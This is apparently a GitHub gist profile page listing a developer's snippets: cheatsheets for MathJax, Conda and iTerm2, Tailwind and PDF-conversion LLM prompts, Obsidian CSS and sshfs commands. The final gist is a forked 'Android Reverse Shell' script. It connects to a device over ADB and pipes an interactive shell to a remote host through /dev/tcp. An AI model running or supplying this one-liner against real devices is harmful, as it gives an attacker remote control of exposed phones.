Skip to content

Instantly share code, notes, and snippets.

View jSayal's full-sized avatar
🏠
Working from home

jSayal

🏠
Working from home
View GitHub Profile

MathJax 2.0 Cheatsheet

Note: Use $...$ for inline math and $$...$$ or \[...\] for display math.


Equations

Simple equation

@jSayal
jSayal / conda_cheatsheet.md
Created July 20, 2025 13:31
Conda Cheatsheet

Conda Cheatsheet


🔧 Basic Conda Commands

conda --version         # Show conda version
conda info              # Show system info
conda update conda      # Update conda itself
conda help              # Display help for conda
@jSayal
jSayal / gist:c9f0c40a987dedb51da2aee52335afe1
Created July 12, 2025 05:31
Tailwind CSS Expert System Prompt
# Tailwind CSS Expert Assistant System Prompt
You are a Tailwind CSS Expert Assistant designed for a full-stack developer who can produce desired visuals but sometimes needs guidance on advanced CSS techniques and optimal Tailwind patterns. Your user has solid fundamentals but may not always know the most efficient or modern approaches to achieve complex layouts and styling.
## Your Role & Expertise
You are an advanced Tailwind CSS consultant with deep knowledge across:
- **Tailwind CSS Mastery**: Advanced utility patterns, configuration, customization, and optimization
- **Modern CSS**: Grid, Flexbox, Container Queries, CSS Custom Properties, modern selectors
- **Design Systems**: Component libraries, design tokens, scalable architecture patterns
@jSayal
jSayal / index.html
Created July 12, 2025 05:27
Tailwind CSS Playground Template
<!--
This is a Tailwind CSS playground template.
You can use this template to play with Tailwind CSS.
---
⚠️ IMPORTANT:
Do not use this template for production.
-->
<!doctype html>
<html>
<head>
@jSayal
jSayal / gist:97d88584bd2d34dfa4b2c0fa2410f654
Created July 10, 2025 02:54
Verbatim PDF to Markdown Conversion using LLM (ChatGPT, Claude etc.)
After multiple attempts to have a verbatim conversion of PDF to Markdown file, the following prompt worked nicely.
Feel free to add or suggest improvements.
```
**Objective:** Convert the attached PDF to Markdown **verbatim** without summarizing, omitting, or altering any content. Follow this exact workflow:
#### **Phase 1: Document Analysis**
1. **Read Entire PDF**
- Process all pages sequentially. Do **not** skip pages or sections.
- Preserve every paragraph, table row, and code snippet - **no exceptions**.
@jSayal
jSayal / override.css
Created August 21, 2024 04:31
Obsidian default dark theme overrides
body {
--file-line-width: 1280px; /* Doucment width */
/* -----------------------------------
* Colors override
* ---------------------------------- */
--color-base-00: #2c292d;
--color-orange: blue;
--bold-color: var(--color-purple);
@jSayal
jSayal / gist:9e462f41fcc003036403df94fa8f9cd2
Created April 2, 2024 23:07
Mount remote directory on local machine using sshfs
# ---------------------------------------------------
# SSHFS is file system client based on SSH
# ---------------------------------------------------
# Install SSHFS on Ubuntu
# ---------------------------------------------------
sudo apt install sshfs
# Install SSHFS on Mac OSX
# ---------------------------------------------------
@jSayal
jSayal / index.html
Last active March 27, 2022 11:01
Dealing With Browser's Restored Tabs with Visibility API
<script>
const TIME_TO_STALE = 12 * 60 * 60 * 1000; // 12 hours in milliseconds
window.onload = () => {
localStorage.setItem('lastLoadTime', Date.now());
};
// Refresh website after 12 hours
document.addEventListener('visibilitychange', () => {
const currentTime = Date.now().getTime();
@jSayal
jSayal / iterm2.md
Created September 30, 2020 19:02 — forked from squarism/iterm2.md
iterm2 cheatsheet

Tabs and Windows

Function Shortcut
New Tab + T
Close Tab or Window + W (same as many mac apps)
Go to Tab + Number Key (ie: ⌘2 is 2nd tab)
Go to Split Pane by Direction + Option + Arrow Key
Cycle iTerm Windows + backtick (true of all mac apps and works with desktops/mission control)
@jSayal
jSayal / android-shell.sh
Created September 28, 2020 04:52 — forked from random-robbie/android-shell.sh
Android Reverse Shell
#!/bin/bash
# Simple reverse shell on android devie using Android Debug Bridge ensure you run nc -lvp 4444 on another screen first.
# By Random_Robbie
adb connect $1:5555
adb shell sh -i >& /dev/tcp/$2/4444 0>&1
echo "[*] Should have a shell now ..... Be nice :) [*]"